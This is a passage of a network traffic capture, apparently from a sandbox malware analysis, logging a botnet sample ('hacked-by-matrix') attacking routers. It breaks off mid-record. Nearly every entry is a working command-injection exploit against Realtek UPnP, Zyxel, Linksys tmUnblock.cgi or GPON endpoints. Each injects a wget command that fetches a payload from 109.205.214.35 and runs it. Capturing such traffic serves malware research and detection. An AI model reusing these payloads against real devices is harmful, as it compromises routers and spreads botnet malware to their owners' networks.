realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:34.929299116 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:47.724253893 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:14.353667021 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.13	60322	178.198.145.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.263000011 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:23.440562963 CET	347	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 21 Mar 2024 04:22:23 GMT Content-Type: text/html Content-Length: 138 Location: http://127.0.0.1/ Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:22:23.441869974 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:23 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.13	34762	172.67.183.253	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.353312016 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.13	34554	172.65.31.244	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.353419065 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.13	59698	5.141.35.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526213884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.13	53450	212.98.112.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526257038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.13	40150	109.107.198.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526257038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.13	33924	118.4.151.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526284933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.13	45740	118.214.225.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526285887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.13	48922	118.113.230.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526308060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.13	54674	5.48.237.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526436090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.13	34320	118.6.15.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526463032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.13	57460	118.19.172.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.526469946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.13	36880	42.91.215.189	443

Timestamp	Bytes transferred	Direction	Data
